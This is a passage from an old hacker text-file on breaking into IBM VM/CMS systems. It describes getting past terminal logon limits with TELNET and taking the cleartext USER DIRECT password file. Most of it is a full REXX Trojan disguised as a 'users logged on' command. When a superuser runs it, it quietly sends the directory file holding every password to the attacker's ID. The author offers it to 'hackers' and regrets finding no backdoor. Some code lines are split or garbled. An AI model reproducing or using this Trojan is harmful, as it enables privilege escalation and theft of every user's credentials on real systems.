on from a terminal, he will be logged out immediately even though he knew the
password. And only these STAFF have 2 modes of operation to use:

DIRM

One is general user mode and the other is operation mode (Privilege operation)
so you have to cheat the O.S. to think that you are NOT logged in from a
terminal.  Our way is to use TELNET.  Usually this package is named TCPIP.  Do
this:

TELNET yourhost

It will request you logon again.  Then, if you logon with the superuser ID &
password, the O.S. will not recognize that you are from a terminal and will let
you in!!  The most important thing is that IBM stores its user IDs & passwords
in a file:

USER DIRECT

Usually, this file is stored on DIRMAINT's minidisk and it is a text file!!!  I
do not know why, but it actually is not encrypted!!!!  Incredible to believe...

Once you have this file, you will know all users' passwords and all information
about all users' IDs and I think it is rude to open new accounts!  Poor me!
I've done this and lost privs 3 times now.  While there is a way to get back
your privs, first you need find a privileged ID so that you can write your file
in it.  Then, write a EXEC file into it.  This file's name must be a most
common command that any one will issue.  If the general user uses it, nothing
happens, but if a superuser issues it, then it will do something for you!  Here
is a example:

Please note that wherever you see (cut), it means that the line was too long
and had to be split.  Whenever you see (cut), take the line below the line that
it is on and paste it on the end of the (cut) line (removing the (cut) in the
process).

-----------------------------------Cut Here------------------------------------
/* DISPLAY THE NUMBER OF SPECIFIED USERS LOGGED ON */
TRACE O
USER  = 0
SW    = 1
S     = 1
PARSE UPPER ARG NAM GARBAGE
IF NAM = ' ' THEN signal qname
PO = INDEX(NAM,'*')
IF PO = 0 THEN DO
   Q NAM
   EXIT
  END
T = PO - 1
IF T= 0 THEN signal qname
NALL = SUBSTR(NAM,1,T)
EXECIO '* CP (STRING Q N '
NUMQ  = QUEUED()
DO N  = 1 TO NUMQ
   PULL STR
PARSE VALUE STR with  NA.N '-' LA.N ',' NB.N '-' LB.N ',' NC.N '-' LC.N (cut)
    ','ND.N '-' LD.N
na.n=substr(strip(na.n,'L'),1,8)
nb.n=substr(strip(nb.n,'L'),1,8)
nc.n=substr(strip(nc.n,'L'),1,8)
nd.n=substr(strip(nd.n,'L'),1,8)
END
DO N  = 1 TO NUMQ
   IF LA.N ^= DSC & LA.N ^= ' ' & SUBSTR(NA.N,1,T)=NALL & (cut)
         SUBSTR(space(NA.N),1,4)^='LOGO' & SPACE
      A.S = NA.N||'-'||LA.N||',' ; S=S+1 ; USER=USER+1; END;
   IF LB.N ^= DSC & LB.N ^= ' ' & SUBSTR(NB.N,1,T)=NALL & (cut)
         SUBSTR(space(NB.N),1,4)^='LOGO' & SPACE
      A.S = NB.N||'-'||LB.N||',' ; S=S+1 ; USER=USER+1; END;
   IF LC.N ^= DSC & LC.N ^= ' ' & SUBSTR(NC.N,1,T)=NALL & (cut)
         SUBSTR(space(NC.N),1,4)^='LOGO' & SPACE
      A.S = NC.N||'-'||LC.N||',' ; S=S+1 ; USER=USER+1; END;
   IF LD.N ^= DSC & LD.N ^= ' ' & SUBSTR(ND.N,1,T)=NALL & (cut)
         SUBSTR(space(ND.N),1,4)^='LOGO' SPACE(L
      A.S = ND.N||'-'||LD.N||',' ; S=S+1 ; USER=USER+1; END;
END
CLRSCRN
call concate
SAY
MM= ' <- - - - - - - - - - - -' RIGHT(USER,3,0) ' SPECIFIED LOGON USERS - (cut)
         - - - - - - - - - - ->'
say MM
SAY
SAY
EXIT
QNAME:
/* DISPLAY THE NUMBER OF USERS LOGGED ON */
USER  = 0
SW    = 1
S     = 1
EXECIO '* CP (STRING Q N '
IF USERID() ='MAINT' THEN SIGNAL NJ  /*super user id */
IF USERID() ='JASMIN' THEN SIGNAL NJ /*super user id */
IF USERID() ='LIU' THEN SIGNAL NJ    /*supr userid */
IF USERID() ='PMAINT' THEN SIGNAL NJ /*super user id*/
IF USERID() ='MOESERV' THEN SIGNAL NJ /* super user id*/
SIGNAL JP
NJ:
CP SET IMSG OFF
CP SET MSG OFF
EXEC DIRMAINT GET DIRMAINT NOLOCK
SLEEP 2  SEC
CP TRAN     USERID() ALL yourid   /* to your own id*/
CP SET IMSG ON
CP SET MSG ON
JP:
NUMQ  = QUEUED()
DO N  = 1 TO NUMQ
   PULL STR
         PARSE VALUE STR with  NA.N '-' LA.N ',' NB.N '-' LB.N ',' NC.N (cut)
         '-' LC.N ','ND.N '-' LD.N
na.n=substr(strip(na.n,'L'),1,8)
nb.n=substr(strip(nb.n,'L'),1,8)
nc.n=substr(strip(nc.n,'L'),1,8)
nd.n=substr(strip(nd.n,'L'),1,8)
END
DO N  = 1 TO NUMQ
   IF LA.N ='VTAM' THEN SELECT
      WHEN (S+0)//4 = 1 THEN DO
      LA.N ='VTAM' THEN DO
      A.S ='VSM - VTAM'       ; S = S+1 ;
      A.S=' ' ; S=S+1 ; A.S=' ' ; S=S+1 ; A.S =' ' ; S=S+1 ; ITERATE
   END
      WHEN (S+0)//4 = 2 THEN DO
      A.S = ' ' ; S = S+1 ; A.S = ' '   ;S=S+1 ; A.S =' ' ; S=S+1 ;END
      WHEN (S+0)//4 = 3 THEN DO;A.S =' ';S=S+1 ; A.S =' ' ; S=S+1 ;END;
      WHEN (S+0)//4 = 0 THEN DO; A.S = ' ' ; S=S+1 ; END
   END
   IF LA.N ='VTAM' THEN DO
      A.S ='VSM - VTAM'       ; S = S+1 ;
      A.S=' ' ; S=S+1 ; A.S=' ' ; S=S+1 ; A.S =' ' ; S=S+1 ; ITERATE
   END
   IF LA.N ^= DSC & LA.N ^= ' ' & SUBSTR(space(NA.N),1,4)^='LOGO' & (cut)
         SPACE(LA.N)^=SPACE(NA.N) THEN
      A.S = NA.N||'-'||LA.N||',' ; S=S+1 ; USER=USER+1; END;
   IF LB.N ^= DSC & LB.N ^= ' ' & SUBSTR(space(NB.N),1,4)^='LOGO' & (cut)
         SPACE(LB.N)^=SPACE(NB.N) THEN
      A.S = NB.N||'-'||LB.N||',' ; S=S+1 ; USER=USER+1; END;
   IF LC.N ^= DSC & LC.N ^= ' ' & SUBSTR(space(NC.N),1,4)^='LOGO' & (cut)
         SPACE(LC.N)^=SPACE(NC.N) THEN
      A.S = NC.N||'-'||LC.N||',' ; S=S+1 ; USER=USER+1; END;
   IF LD.N ^= DSC & LD.N ^= ' ' & SUBSTR(space(ND.N),1,4)^='LOGO' & (cut)
SPACE(LD.N)^=SPACE(ND.N) THEN
      A.S = ND.N||'-'||LD.N||',' ; S=S+1 ; USER=USER+1; END;
END
CLRSCRN
call concate
SAY
MM= ' <- - - - - - - - - - - - - ' RIGHT(USER,3,0) ' LOGON  USERS - - - - (cut)
         - - - - - - - - - - ->'
say  MM
SAY
exit
concate:
DO I = 1 TO S-1 BY 4
   IF I+1 < S   THEN   P=I+1   ;      ELSE A.P = ' '
   IF I+2 < S   THEN   Q=I+2   ;      ELSE A.Q = ' '
   IF I+3 < S   THEN   R=I+3   ;      ELSE A.R = ' '
   STR= ' '
   IF I+3 < S   THEN   R=I+3   ;      ELSE A.R = ' '
   STR=INSERT(A.I,STR,1)       ;      STR=INSERT(A.P,STR,21)
   STR=INSERT(A.Q,STR,41)      ;      STR=INSERT(A.R,STR,61)
   SAY STR
END
return
-----------------------------------Cut Here------------------------------------

Well, that is it...Unfortunately, we did not know how to install a backdoor in
IBM VM/CMS so we could not keep privs permanently.  It is a pity...but we're
glad to share our experience with hackers!

                               Sincerely,

                                            Goe
_______________________________________________________________________________
